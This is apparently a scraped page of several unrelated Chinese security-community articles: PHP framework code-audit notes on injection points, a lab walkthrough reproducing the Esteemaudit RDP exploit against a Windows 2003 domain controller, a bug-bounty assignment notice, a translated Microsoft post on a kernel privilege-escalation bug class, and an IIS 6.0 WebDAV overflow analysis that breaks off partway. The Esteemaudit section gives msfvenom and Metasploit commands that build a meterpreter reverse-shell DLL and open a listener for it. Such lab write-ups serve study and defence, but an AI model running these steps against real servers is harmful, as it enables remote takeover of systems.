基本的设计模式就是MVC设计模式。注意：多层级的分层模式为HMVC模式。HMVC就是把客户端应用程序分解为有层次的父子关系的MVC。
**
**
**MVC对应的文件位置**
****
看一个cms程序首先就是找控制器代码在哪个位置，之后就是模型文件的位置，视图文件最后，不过我真的在使用框架开发的程序中发现了模型控制代码而找到漏洞，这个程序员简直是B了dog！
### 控制器
Laravel-> CodeIgniter(CI)->ThinkPHP(TP)
### 模型
Laravel-> CodeIgniter(CI)->ThinkPHP(TP)
### 数据库连接文件
TP：（通用2.0|3.0）
> (Application)(Home)Confconfig.php
>
> //(Application) 默认为Application，保不齐修改，可以直接查看index.php
> //(home) 项目目录，因项目而异！
>
>
> ‘DB_TYPE’ => ‘mysql’, // 数据库类型
> > ‘DB_HOST’ => ‘localhost’, // 服务器地址
> > ‘DB_NAME’ => ‘chopperproxyl’, // 数据库名
> > ‘DB_USER’ => ‘root’, // 用户名
> > ‘DB_PWD’ => ‘root’, // 密码
> > ‘DB_PORT’ => 3306, // 端口
> > ‘DB_PREFIX’ => ‘xl_’, // 数据库表前缀
CI:（通用2.0|3.0）
> (application)configdatabase.php
>
> //一般是固定形式application，保不齐修改一样可以到index.php里面查看项目命名。
Laravel：（5.0|4.0的目录少一个app）
这玩意特殊一些！在代码目录下有一个.env文件，里面存在项目的一些配置，可以在这里设置数据库连接信息。（当然可以不）
另外可以直接写在文件中：
> configdatabase.php文件
//定义默认的数据库类型
备注：具体的配置可能是这样两种类型，使用env中定义，或者写入文件。如果配置文件中同时存在上图中的两套配置，说明系统可能使用了多数据库。
结束了！？
* * *
这是几个框架最基本的东西了，下面把其中的关于安全的部分以及自己的一部分见解写出来，会挺有意思的。
SQL操作模型
* * *
在PHP开发过程中，一般都会使用两种技术。
### 技术一：
Active
Record（ORM）
ORM技术：Object-Relational
Mapping，把关系数据库的表结构映射到对象上。
例如
ThinkPHP中：
CI中的：
### 二：查询构造器方式
定义一个抽象数据库类，包含常用的各种方式。例如：在laravel中的
注意：这两种方式的区别简单说就是需不需要自己去顶一个model文件。
可能存在的SQL注入问题：
* * *
### 1、 由于业务的复杂性导致SQL语句有时候很变态，几乎每种框架都支持使用原生SQL语句。
CI：
TP：
Laravel：
注意：凡是这些方式中带入的参数未经过过滤，底层的解析都是不会进行注入处理的，都有可能造成注入。
### 2、 错误的安全函数用法（预编译）
TP官方方法：
如果使用3.1以上版本的话，使用字符串条件的时候，建议配合预处理机制，确保更加安全，例如：
> $Model->where(“id=%d and
>
> username=’%s’ and xx=’%f'”,array($id,$username,$xx))->select();
或者使用：
> $Model->where(“id=%d and
>
> username=’%s’ and xx=’%f'”,$id,$username,$xx)->select()
底层实现原理：获取函数输入参数，所有参数经过一次addslashes，然后使用vsprintf格式化字符串。问题：如果在数字字段带入%s，且没有引号，一样能注入。
### 3、 where子查询中key字段可控
CI：控制器代码
模型代码：
针对查询数组中的value字段是会做处理的，但是针对key字段并不会。
访问查看：
Laravel：同样的Laravel这个框架也存在这个问题。
其中$type可控一样可以造成注入。
备注：Thinkphp这种框架就没有，它自己写了解析where字句的方式，虽然在这点上很安全，可是历史上出事最多的就是它了。
**
**
**URL路由**
一般看一个CMS就是要去找URL对应的代码是哪些，这样才有办法进行审计！WEB开发过程中有一个概念是URL语义化。
传统的URL
>
> https://g.wen.lu/search?newwindow=1&site=&source=hp&q=URL+%E8%AF%AD%E4%B9%89%E5%8C%96&btnG=Google+%E6%90%9C%E7%B4%A2&gws_rd=cr&ei=Jli4VeX_Bciy0gSNjZvgDA
就是参数=值的形式。
### 做了语义化的URL
> http://blog.suchasplus.com/2008/10/uri-pretty-and-url-mapping-with-apache-> and-php-how-to.html
简单解释就是从URL上就能知道该页面具体展示的数据或者是什么功能，这是以后WEB开发的一个趋势。这里不光指这三个框架，其他框架或者自己开发的框架都将会有这样的功能。作为一个先进的PHP框架，都是存在路由绑定这个功能的！路由绑定就是将用户访问URL对应到项目的具体控制器中去。（代码审计过程中就是怎么通过URL去访问对应的代码）
**Laravel：**
项目目录中appHttproutes.php
**CI：**
**TP：**
像TP这种框架，到3.2默认的URL方式还是
> http://serverName/index.php/模块/控制器/操作
这种傻逼方式。但是也有路由绑定的功能。
查找配置项
> ‘URL_ROUTER_ON’ => true,
然后寻找配置项
> URL_ROUTE_RULES
备注：通过这些配置项目可以快速的找到URL对应的控制器代码是什么！说这个还有一个原因就是以后可能会接触到REST模式的URL，这个也是趋势！
同一条URL可能对应不同的几个控制器代码。HTTP协议存在GET POST PUT
DELETE方法。web程序就是增删改查，对应的操作就是CURD，直接对应到的方法就是：
C对应POST，R对应GET，U对应PUT，D对应DELETE
具体代码就是通过判断请求方法来调用对应的控制器。
**
**
**框架的过滤机制（审计过程需要注意的点）**
****
### 一：针对URL的过滤
由于URL路由的关系，现在的框架在GET方式上都或多或少的存在过滤或者说验证。
TP：
1、例如d就限制了该参数只能是数字。
2、或者是使用正则的方式来匹配，达到过滤的效果。
****
**CI：**
CI的过滤也一样，就是使用正则去匹配。
**Laravel：**
同样可以在定义URL路由的时候定义过滤，直接在路由上用where函数限制参数的类型。
或者在文件appProvidersRouteServiceProvider.php中存在boot的函数，可以定义全局过滤，可以在这里面找找。
### 二：针对接收参数的过滤
现在的框架一般都会重写$_GET/$_POST/$_REQUEST，自建系统的输入，然后这些输入存在一些参数可以选择是否过滤。
**TP：**
重写的函数 I()
用法
> I(‘get.id’); | I(‘post.id’);
利用设置默认值，设置过滤函数来达到过滤的效果。
> I(‘get.name’,’test’,’htmlspecialchars’);
**CI:**
CI中所有的系统方法都是$this开头的。重写的输入函数 $this->input
用法
> $this->input->post(‘something’);
针对输入的第二个参数仅针对XSS，设置成true会进过一次CI内奸的xss_clean函数。
**Laravel：**
这个吊了！这玩意自己定义了一个中间件Middleware类型（借鉴java）。中间件的作用就是在HTTP请求实际接触应用程序之前，进行层层的检查跟过滤，甚至完全拒绝。一般被用来做权限验证，参数过滤，数据加解密等等。所有中间件都在appHttpMiddleware目录下面，根据具体情况查看是否将过滤写在这里面了。
重写的输入函数
> Request $request
> $request->input(‘ip’);
第二个参数仅有设置默认值的作用，并没有实际的过滤。
### 三：默认设置的全局安全机制
**CI：**
默认还有一个参数
> $config[‘global_xss_filtering’] = TRUE;
开启后所有的参数都会经过xss_clean函数一遍。
**TP：**
全局的过滤参数
> ‘DEFAULT_FILTER’ =>’strip_tags,stripslashes’,
对接收数据进行依次的过滤。
**Laravel：**
默认开启的全局CSRF过滤（借鉴django等框架）。
其他貌似就没了0-0
由各个框架编写过程联想到的一些东西
* * *
### 1、 测试的时候如果一个正常的请求就是获取不到数据，可以在HTTP头里面加上
### X-Requested-With:XMLHttpRequest
就是ajax请求。现在一般程序员的编写纯api接口的时候习惯是会区分直接访问还是ajax的，这样可以减少乱七八的数据请求。
例如：
**Laravel：**
**CI：**
**TP：**
常量IS_AJAX 判断是否是AJAX提交，不写了！
### 2、 如果上传成功一个文件，但是就是访问不到，有几个原因。
.htaccess 文件限制了根目录下index.php以外的所有文件的访问权限，配合URL路由这个功能所有不在路由中的路径
> http://testtest.net/test/test.php
都是无法访问的。这个也是django类似的框架难以攻击的一个原因。（PHP正在往规范严谨的方向去）这种时候要么能覆盖route文件，要么能覆盖对应的方法（这个太难，需要不破坏文件，只是修改对应的方法。）Laravel这样的框架本身www设置的时候就是一个public目录（默认）。
这个目录除了index.php文件啥也没有了，上传文件一般都在www目录的外层目录，无法直接访问。这种时候只能靠跳转目录来跳到public下面才能访问，或者文件包含。 | 社区文章 |
# 【技术分享】全面复现Esteemaudit利用过程(含域环境搭建过程)
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
译者：[河马安全网](http://bobao.360.cn/member/contribute?uid=1038538208)
预估稿费：400RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
说起这个溢出是够震撼的，但是我测试的时候是有条件溢出的，就是服务器必须是域控主机，而且是和智能卡功能相关的漏洞，要不然不知道会有多少台服务器遭殃。
在我第一次测试的时候，由于没有配置域导致失败，后来在配置windows 2003
域的时候，由于各种原因，域没有配置成功，没办法往下测试，索性安装一台新的windows来测，这次就好了，成功溢出，现在分享一下过程。
第一步，在windows 2003 上安装AD活动目录。如图1，图2，图3
图1
图2
图3
第二步，安装IIS，.NET服务，如图4，图5
图4
图5
第三步，在Windows组件中安装”证书服务”，如图6，图7，图8
图6
图7
图8
第四步，打开“证书颁发机构”，如图9，图10
图9
图10
将“注册代理”和“智能卡用户“添加至模板中。如图11，图12
图11
图12
第五步，在” Active Directory 用户和计算机”中添加test用户，密码为www.isafe.cc， 如图13，图14，图15
图13
图14
图15
第六步，在IE里访问[http://127.0.0.1/certsrv，使用域管理员账号登录](http://127.0.0.1/certsrv%EF%BC%8C%E4%BD%BF%E7%94%A8%E5%9F%9F%E7%AE%A1%E7%90%86%E5%91%98%E8%B4%A6%E5%8F%B7%E7%99%BB%E5%BD%95)
如图16
图16
依次“申请一个证书”->“高级证书申请”->“创建并向此 CA 提交一个申请”->“注册代理”->“提交”，如图17，图18，图19，图20
图17
图18
图19
图20
依次“申请一个证书”->“高级证书申请”->“通过使用智能卡证书注册站来为另一用户申请一个 智能卡证书”
->“注册代理”->“提交”，如图21，图22，图23，图24
图21
图22
图23
图24
到了这里，无法进行下去了，IE6.0有安全设置，不过不是没办法，我通过IIS里的浏览器就可以了，如图25
(提示:这里的IE6.0安全设置 可以:通过在 开始菜单-控制面板-添加或删除程序-添加/删除Windows组件 中把Internet
explorer增强的安全配置取消勾选然后点击”下一步”进行删除即可)
图25
上面是域服务器配置的相关步骤，完成后，我们登录3389端口，会看到又多了一个选项，如图26，表示配置成功。
图26
现在开始步入正题，本次溢出漏洞使用的是shadowbroker提供的工具，环境方面使用
python 2.6.6
pywin32
其它没什么特别要求，运行fb.py,如图27
图27
这里设置被攻击的服务器IP,和我的IP地址，重定向选择no,如图28
图28
到了这里，我们新建一个项目,选择0,项目名称为test1,如图29
图29
这是全局变量设置，下面要使用一个PoC来攻击了，执行use Esteemaudit，载入3389端口溢出模块，这个和metasploit差不多，如图30
图30
按照提示，Target IP为192.168.1.102 Target Port为3389，如图31
图31
保持默认并且一路回车，到这里，如图32
图32
输入Yes然后回车，如图33
图33
输入Yes，回车，如图34
图34
到这里大家注意把这三个dll的地址改成fb.py目录下的这个三个dll的地址,不可以用默认的地址
一路回车，到这里
RdpLibHertz这里输入71，回车继续，设置如图35,
图35
CallBackLocalPort设置为7980,如图36
图36
一直回车到这里
一直回车，到这里
输入Yes继续
可爱的Success出现了，溢出成功了。
成功溢出后，我们只是把一个后门安装在目标机上了，要shell的话，还需要metasploit的配合，使用msfvenom生成一个dll类型的Payload，命令如下：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=4444 -f dll >/tmp/rdp.dll
执行后如图37，
图37
把生成的rdp.dll放在C盘根目录下，现在使用metasploit打开一个监听器，metasploit所在的主机IP为192.168.1.103,刚好是Payload的反弹IP，打开监听器的命令为:
msf > use exploit/multi/handler
msf exploit(handler) > set lhost 192.168.1.103
msf exploit(handler) > set lport 4444
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > run
如图38
图38
回到fb.py中，我们现在要把Payload发送到windows 2003服务器上去，使用Pcdlllauncher模块，如图39，图40
图39
图40
LPFilename 改成实际的PC_Exploit.dll地址,不能用默认的地址
输入Yes，一路回车，到了这里
输入C:rdp.dll，回车，如图41
图41
其它的不需要动，输入Yes后，回车，我们的shell完美的出现了，
整个过程也没什么别的新意，只是windows rdp开启的不少，只要是win2003域主机，基本上是逃不过的，如今用windows
2003的人越来越少了，不过内网就不知道了。 | 社区文章 |
##### 目前先知平台白帽子数比较庞大，感谢大家的热情，因为好多人都在不清楚如何获取众测项目，现在把项目分配的策略公布出来，让更多的人参与进来。
#### 分2个面来说：
##### 1,新加入的白帽子
a) 在个人中心，填写正确自己擅长的技能。
b) 提供自己一些博客，或者各大SRC排名等资料，可以联系管理，拿到项目，后期根据表现进行分配。
c) 参与 公益项目，参与各种先知发布的活动等。
d) 算法随机，概率比较低。
##### 2,已经参与过>=3期的白帽子（机器学习算法分配）
根据历史提交漏洞数据，得出以下方面的信息，然后综合排名，从列表中动态分段抽取
a) 技能擅长（会修正自己填写的擅长技能）。
b) 有效漏洞数(只要驳回，都算无效漏洞-这个考虑下后期是否需要修正),有效漏洞比例,高危比例。
c) 参与过项目,参与比例,参与项目是否提交过漏洞比例。
d) 是否参与公益项目，公益积分值。
e) 黑产检测，如果被识别为true，则会拉入平台黑名单。
f) 奖惩情况,历史过程有没有测试过程出现一些该奖赏或者处罚的行为（后期会升级为平台信用积分）。
g) 最近登录时间。
其他维度
h) 厂商类型，会结合擅长技能等进行综合计算。
##### 其他：对于一些厂商有特别要求的项目，会进行人为干预。 | 社区文章 |
# 利用 Windows I/O 实现本地提权
|
##### 译文声明
本文是翻译文章，文章原作者 microsoft，文章来源：blogs.technet.microsoft.com
原文地址：<https://blogs.technet.microsoft.com/srd/2019/03/14/local-privilege-escalation-via-the-windows-i-o-manager-a-variant-finding-collaboration/>
译文仅供参考，具体内容表达以及含义原文为准。
微软应急响应中心（The Microsoft Security Response
Center，MSRC）对所有影响微软产品和服务的漏洞报告进行调查研究，以确保客户和全球在线社区更加的安全。我们非常感谢安全社区定期向我们报告优秀漏洞研究成果，同时我们也认为，与这些研究进行合作将是一件极具意义的事情。
一直依赖， **Google Project Zero** 的研究人员 **James Forshaw**
不断向我们报送高质量、有价值的漏洞。James大部分的工作集中在windows内部的复杂逻辑漏洞上，尤其是特权提升和沙箱逃逸领域。
本文介绍了James和MSRC团队之间的合作，双方在windows内核及其驱动程序中发现了新的漏洞类，并进一步阐述了微软的工程师团队是如何修复这些漏洞，以及第三方驱动开发者如何避免类似漏洞。
## 背景
在windows平台上，当用户模式线程进行系统调用时，系统调用处理程序通过将其 **PreviousMode** 字段设置为 **UserMode**
，将其记录在线程对象中。与之对应，如果是利用 **Zw** 前缀函数或者系统线程从内核模式发起的系统调用，其对应的 **PreviousMode**
字段则会设定为 **KernelMode**
。这种区分用户模式和内核模式调用的方法可用来判定调用的参数是否来自可信数据源，以此来确定其在内核中进行验证的程度。
当一个用户模式的应用程序创建或打开一个文件，会由`NtCreateFile`或`NtOpenFile`执行系统调用。内核模式的代码具有更加广泛的API函数集可供选择：`NtCreateFile/NtOpenFile`以及与其等价的
**Zw** 前缀函数，来自I/O管理器的`IoCreateFile*`系列函数以及来自Filter管理器的`FltCreateFile*`系列函数。
如上图所示，所有这些调用均以I/O管理器内的`IopCreateFile`函数结束。线程的 **PreviousMode** 会被分配给变量
**AccessMode**
，该变量在`IopCreateFile`函数中决定是否对有效参数和缓冲区进行检查，然后在调用`ObOpenObjectByNameEx`函数时传递给对象管理器。之后在`IopParseDevice`中，
**AccessMode** 被用于访问检查。——如果是 **UserMode**
，则对设备对象执行权限检查。接下来，`IopParseDevice`构造一个I/O请求包（IRP），将其 **RequestorMode** 字段设置为
**AccessMode** ，并用`IofCallDriver`控制设备的`IRP_MJ_CREATE`调度功能。
`IopCreateFile`有一个 **Options**
参数，该参数并不向`NtCreateFile`和`NtOpenFile`函数的调用者公开，仅供来自内核模式的API函数调用。如果设置了`IO_NO_PARAMETER_CHECKING`标志，它将会覆盖
**AccessMode** ，使其设置为 **KernelMode**
而不是线程之前的模式，从而实现了绕过参数验证。这也将会导致后续在`IopParseDevice`函数中的权限检查。
需要注意的是，`IoCreateFileEx`会始终设置`IO_NO_PARAMETER_CHECKING`标志。由于`FltCreateFile、FltCreateFileEx、FltCreateFile2`会通过此函数调用I/O管理器，因此这些函数也会相应的设置有`IO_NO_PARAMETER_CHECKING`标志。
但是，有些情况下则必须覆写该参数来强制进行访问检查。比如，一个内核模式驱动程序打开一个由用户模式应用程序指定名称的对象。
如果`IopCreateFile`函数的`Options`参数设置了`IO_FORCE_ACCESS_CHECK`标志，将会产生两点影响：其一，会导致`IopParseDevice`中的I/O管理器执行访问检查，就相当于
**AccessMode** 是 **UserMode** （实际没有将其设置为 **UserMode** ）。其二，在 **IRP**
堆栈位置中的`IRP_MJ_CREATE`，会导致`Flags`字段设置为`SL_FORCE_ACCESS_CHECK`。`IRP_MJ_CREATE`请求的处理程序将会在其访问检查中使用该标志，覆写
**IRP** 的 **RequestorMode** 。
在Windows XP的开发过程中，在对象命名空间（例如 **Registry**
的`ZwOpenKey`）的其他API函数调用需要一些方法，来强制进行访问检查，因此引入了`OBJ_FORCE_ACCESS_CHECK`标志。该标志设置在所请求对象的属性上，从而迫使对象管理器（而不是I/O管理器）来将请求的访问模式设置为
**UserMode** 。该设置的优先级高于已设置的任何访问模式——尤其是它会覆盖在 **KernelMode**
中设置`IO_NO_PARAMETER_CHECKING`所产生的作用，并返回`IopCreateFile`。
综上所述：
* 在决定是否进行访问检查时，`IRP_MJ_CREATE`处理程序不仅要检查IRP的 **RequestorMode** 是否为 **UserMode** ，还需检查是否设置了`SL_FORCE_ACCESS_CHECK`标志
* `IoCreateFile*`或`FltCreateFile*`的内核模式函数调用有两种方式来指定执行访问检查：
* 利用I/O管理器，通过设置`IO_FORCE_ACCESS_CHECK`标志来最终设置IRP栈中的`SL_FORCE_ACCESS_CHECK`标志。
* 利用对象管理器，通过设置`OBJ_FORCE_ACCESS_CHECK OptionAttributes->Attributes`标志，从而将IRP的 **RequestorMode** 设置为 **UserMode**
## 漏洞分析
James的研究发现，windows附带了多种内核模式驱动程序，在处理`IRP_MJ_CREATE`请求时会检查IRP的 **RequestorMode**
，而不会检查`SL_FORCE_ACCESS_CHECK`。而且，这些都可能被内核模式代码所利用，但在表面上看，在创建或打开文件操作时设置`IO_FORCE_ACCESS_CHECK`似乎是正常操作。通过构造一些用户模式的请求，攻击者可以实现对创建/打开文件时参数的控制，并以此为基础发送`IRP_MJ_CREATE`请求，其
**RequestorMode** 为 **KernelMode** 。如果在安全决策中使用 **RequestorMode**
检查，则会导致本地提权漏洞。
更多细节，包括James如何发现该漏洞类以及windows内核驱动程序中此类代码出现位置的示例，可以参考其 [Google Project
Zero的博客](https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html)。
James specified two kernel mode code patterns – the ‘initiator’, which makes a
file create/open call, and the ‘receiver’, which handles IRP_MJ_CREATE
requests. These are defined as follows:
James指定了两种内核代码模式——创建和打开文件的 **initiator** ，处理`IRP_MJ_CREATE`请求的 **receiver**
。具体内容如下：
1. **initiator** 包括以下内容：
* 调用API函数（`IoCreateFile*`或`FltCreateFile*`）打开文件，其中：
* 设置了`IO_NO_PARAMETER_CHECKING`标志（或者，该函数调用来自系统线程）
* 这会将IRP的 **RequestorMode** 设置为 **KernelMode**
* 对于`IoCreateFileEx`和`FltCreateFile*`，将会隐式设置`IO_NO_PARAMETER_CHECKING`
* `IO_FORCE_ACCESS_CHECK`标志被设置，表示将进行访问检查
* **ObjectAttributes** 中没有设置`OBJ_FORCE_ACCESS_CHECK`标志
* 如果设置了该标志，会覆盖IRP的 **RequestorMode** ，将其设定为 **UserMode**
* 攻击者可以采取措施，控制调用过程
2. **receiver** 包括一下内容：
* 针对`IRP_MJ_CREATE`请求的处理函数，其中：
* IRP的 **RequestorMode** 被用于设定安全策略
* 处理过程中，IRP栈中对应位置的Flags没有做`SL_FORCE_ACCESS_CHECK`检测
攻击者需要能够指示 **initiator** 打开由 **receiver** 处理的设备对象。 **receiver**
中的安全检测会被绕过，因为`Irp->RequestorMode`将会被设置为 **KernelMode**
，但并没有检测`SL_FORCE_ACCESS_CHECK`标志。
James在研究中发现了 **initiator** 和 **receiver**
的实例，但并未发现两者链接在一起所导致的权限提升。我们选择与其合作进行深入研究，以期望共同有所发现。
## 合作中的发现
针对windows的官方驱动（由Microsoft编写）以及Windows内核，我们选用Semmle QL来对源代码进行搜索，找寻符合上述模式的漏洞代码。
为找到 **initiator**
代码模式，我们通过自定义的数据流分析的方法，对`Options`和`ObjectAttributes->Attributes`的标志组合当其传递给内部函数`IopCreateFile`时进行跟踪。正如前文提到的，各种打开文件的API函数最终都会执行到此函数。对结果进行过滤筛选，仅显示设置了`IO_FORCE_ACCESS_CHECK`和`IO_NO_PARAMETER_CHECKING`标志、但未设置`OBJ_FORCE_ACCESS_CHECK`标志的调用。而且我们并不关心那些攻击者无法控制的对象名称。
为找到 **receiver** 代码模式，我们对控制表达式（即控制流语句中的表达式，例如if 和 switch 语句）进行了检查，该表达式受IRP对象
**RequestorMode**
字段影响且可以通过`IRP_MJ_CREATE`调度或过滤函数访问。这些过滤函数筛除了一些表达式，主要是包含`SL_FORCE_ACCESS_CHECK`宏和对`IO_STACK_LOCATION`对象`Flags`字段访问。在手动跟踪的过程中，排除了少量
**RequestorMode** 的检查，因为它们本质上没有相应的安全影响（例如，它们被用于排除内核模式调用，而不是允许操作）。
经过初步分析，在Windows源码中，发现了11个潜在的 **initiators** 和16个潜在的 **receivers**
，包括James已经向我们报送的。
Windows还附带了一些“inbox
drivers”——即第三方驱动程序，它们对于启动某些设备至关重要，或者它们能够实现开箱即用的全功能安装。我们对每个驱动程序的二进制文件筛选其导入表，得到一个子集以便下一步分析。对于
**initiators** 而言，这些是`IoCreateFile*`或`FltCreateFile*`的导入，而对于 **receivers**
而言，就是`oCreateDevice`或`FltRegisterFilter`，因为我们只关心那些通过设备对象或过滤器可访问的代码。使用IDA
Pro分析余下部分的驱动文件，并没有发现 **initiators** 或是 **receivers** 。
利用这些潜在的漏洞需要更具兼容性的 **initiators** 和 **receivers** 。尤其是， **initiator**
要为最终调用`IopCreateFile`的攻击者提供足够的控制权，以便可以进一步利用 **receiver** 。
我们可将 **receiver** 划分为两大类：
* 需要提供特定的扩展属性，要么进行 **RequestorMode** 检查，要么在实现绕过之后在利用方面做些有用的事情
* 要求将文件句柄传回给攻击者，以便获取其他可利用的IRP调度函数的代码
幸运的是，在我们的分析过程中，没有发现任何 **initiators** 能够为攻击者提供足够的能力来执行上述任何一个操作。
下一步的分析工作，我们扩大搜索内容的范围，囊括所有对内核模式文件创建/打开的API调用，包括`ZwCreateFile`和`ZwOpenFile`的调用，以及设置了`IO_NO_PARAMETER_CHECKING`标志（无论是否设置了`IO_FORCE_ACCESS_CHECK`）的`IoCreateFile*`和`FltCreateFile*`的调用。在排除所有设置了`OBJ_FORCE_ACCESS_CHECK`标志的调用之后，仍然剩下几百条内核和驱动代码的记录，因此我们聚焦上述两类
**receiver** 策略来进行过滤筛选。
首先，我们过滤掉`EaBuffer`参数为非空的函数调用，从而查看扩展属性的传入位置。其次，我们过滤掉没有设置`OBJ_KERNEL_HANDLE`标志的调用，查看一个可用对象具柄传回用户模式时可能的位置。上述操作可以有效将结果进行缩减，可进一步进行手动分析。但是，我们并没有在结果中发现任何代码可以来用作有效
**initiator** 。
## 纵深防御安全举措
综合James和MSRC的联合研究，在当前支持的windows版本中似乎并没有发现 **initiator** 和 **receiver**
的有效组合，能有用于实现本地权限提升操作。
尽管如此，我们仍计划在未来的windows版本中解决这些问题，作为深度防御举措。大多数补丁都在 **Windows 10 19H1**
中发布，还有一部分有待进一步的兼容性测试，因为在默认情况下并不推荐使用其组件。
在对API进行改进时，我们确确实实考虑扩大修复的范围来阻止 **initiator**
，这样依赖如果设置了`IO_FORCE_ACCESS_CHECK`选项，RIP的 **RequestorMode** 则会自动设置为
**UserMode**
，就如同设置了`OBJ_FORCE_ACCESS_CHECK`选项一样。但是，第三方驱动程序可能依赖于现有状态，破坏现有的这种兼容性依赖的风险还是太高。
## 给驱动开发者的建议
In IRP_MJ_CREATE dispatch handlers, don’t rely on the value of the IRP’s
RequestorMode without also checking for the SL_FORCE_ACCESS_CHECK flag. For
example, instead of:
存在一些第三方的驱动程序，容易遭受此类漏洞的影响，我们已经要求所有内核驱动开发者检查其代码，确保正确处理了IRP请求、防御性使用文件打开API。
建议改进的过程应相对简易。
在`IRP_MJ_CREATE`调度处理程序中，不依赖于IRP的 **RequestorMode**
的数值，也不检查`SL_FORCE_ACCESS_CHECK`标志。比如，下面的程序应当修改：
if (Irp->RequestorMode != KernelMode)
{
// reject user mode requestors
Status = STATUS_ACCESS_DENIED;
}
应使用以下片段：
PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(Irp);
if ((Irp->RequestorMode != KernelMode) || (IrpSp->Flags & SL_FORCE_ACCESS_CHECK))
{
// reject user mode requestors
Status = STATUS_ACCESS_DENIED;
}
其次，如果已经在选项中设置了`IO_FORCE_ACCESS_CHECK`标志，我们强烈简易您在 **ObjectAttributes**
中设置`OBJ_FORCE_ACCESS_CHECK`标志。例如：
InitializeObjectAttributes(
&ObjectAttributes,
FileName,
(OBJ_CASE_INSENSITIVE | OBJ_FORCE_ACCESS_CHECK),
NULL,
NULL);
Status = IoCreateFileEx(
&ObjectHandle,
GENERIC_READ | SYNCHRONIZE,
&ObjectAttributes,
&IoStatusBlock,
NULL,
0,
0,
FILE_OPEN,
0,
NULL,
0,
CreateFileTypeNone,
NULL,
IO_FORCE_ACCESS_CHECK);
更一般的情况，在代表用户模式请求下创建/打开文件，不要盲目认为线程之前的模式是 **UserMode** ，这会被转发到IRP的 **requestor**
模式——通过在 **ObjectAttributes** 中设置`OBJ_FORCE_ACCESS_CHECK`标志可以显示出来。
## 声明
我们要再次感谢James Forshaw与我们合作进行漏洞研究，以及他与MSRC分享的其他高质量漏洞报告。
还要感谢Paul Brookes, Dileepa Kidambi Sudarsana, and Michelle
Chen的帮助，将静态分析应用到整个windows代码库。 | 社区文章 |
# 【漏洞分析】CVE-2017-7269：IIS6.0远程代码执行漏洞分析及Exploit
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**漏洞描述**
漏洞编号：CVE-2017-7269
发现人员：Zhiniang Peng和Chen Wu（华南理工大学信息安全实验室,计算机科学与工程学院）
漏洞简述：开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行，目前针对 Windows Server 2003 R2
可以稳定利用，该漏洞最早在2016年7,8月份开始在野外被利用。
漏洞类型：缓冲区溢出
漏洞等级：高危
影响产品：Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0（目前已验证，其他版本尚未验证）
触发函数：ScStoragePathFromUrl函数
附加信息：ScStoragePathFromUrl函数被调用了两次
漏洞细节：在Windows Server
2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞，攻击者通过一个以“If:
<http://”开始的较长header头的PROPFIND请求执行任意代码。
****
**漏洞分析（漏洞分析转载自：<http://whereisk0shl.top/cve-2017-7269-iis6-interesting-exploit.html>）**
CVE-2017-7269是IIS
6.0中存在的一个栈溢出漏洞，在IIS6.0处理PROPFIND指令的时候，由于对url的长度没有进行有效的长度控制和检查，导致执行memcpy对虚拟路径进行构造的时候，引发栈溢出，该漏洞可以导致远程代码执行。
目前在github上有一个在windows server 2003
r2上稳定利用的exploit，这个exp目前执行的功能是弹计算器，使用的shellcode方法是alpha
shellcode，这是由于url在内存中以宽字节形式存放，以及其中包含的一些badchar，导致无法直接使用shellcode执行代码，而需要先以alpha
shellcode的方法，以ascii码形式以宽字节写入内存，然后再通过一小段解密之后执行代码。
github地址：https://github.com/edwardz246003/IIS_exploit
这个漏洞其实原理非常简单，但是其利用方法却非常有趣，我在入门的时候调试过很多stack
overflow及其exp，但多数都是通过覆盖ret，覆盖seh等方法完成的攻击，直到我见到了这个exploit，感觉非常艺术。但这个漏洞也存在其局限性，比如对于aslr来说似乎没有利用面，因此在高版本windows
server中利用似乎非常困难，windows server 2003 r2没有aslr保护。
在这篇文章中，我将首先简单介绍一下这个漏洞的利用情况；接着，我将和大家一起分析一下这个漏洞的形成原因；然后我将给大家详细介绍这个漏洞的利用，最后我将简要分析一下这个漏洞的rop及shellcode。
我是一只菜鸟，如有不当之处，还望大家多多指正，感谢阅读！
**弹弹弹－－一言不合就“弹”计算器**
**漏洞环境搭建**
漏洞环境的搭建非常简单，我的环境是windows server 2003 r2
32位英文企业版，安装之后需要进入系统配置一下iis6.0，首先在登陆windows之后，选择配置服务器，安装iis6.0服务，之后进入iis6.0管理器，在管理器中，有一个windows扩展，在扩展中有一个webdav选项，默认是禁用状态，在左侧选择allow，开启webdav，之后再iis管理器中默认网页中创建一个虚拟目录（其实这一步无所谓），随后选择run->services.msc->WebClient服务，将其开启，这样完成了我的配置。
**触发漏洞**
漏洞触发非常简单，直接在本地执行python
exp.py即可，这里为了观察过程，我修改了exp，将其改成远程，我们通过wireshark抓包，可以看到和目标机的交互行为。
可以看到，攻击主机向目标机发送了一个PROPFIND数据包，这个是负责webdav处理的一个指令，其中包含了我们的攻击数据，一个<>包含了两个超长的httpurl请求，其中在两个http
url中间还有一个lock token的指令内容。
随后我们可以看到，在靶机执行了calc，其进程创建在w2wp进程下，用户组是NETWORK SERVICE。
我在最开始的时候以为这个calc是由于SW_HIDE的参数设置导致在后台运行，后来发现其实是由于webdav服务进程本身就是无窗口的，导致calc即使定义了SW_SHOWNORMAL，也只是在后台启动了。
事实上，这个漏洞及时没有后面的<>中的http url，单靠一个IF:<>也能够触发，而之所以加入了第二个<>以及lock
token，是因为作者想利用第一次和第二次http请求来完成一次精妙的利用，最后在指令下完成最后一击。
我尝试去掉第二次<>以及请求，同样能引发iis服务的crash。
****
**CVE-2017-7269漏洞分析**
这个漏洞的成因是在WebDav服务动态链接库的httpext.dll的ScStorageFromUrl函数中，这里为了方便，我们直接来跟踪分析该函数，在下一小节内容，我将和大家来看看整个精妙利用的过程。我将先动态分析整个过程，然后贴出这个存在漏洞函数的伪代码。
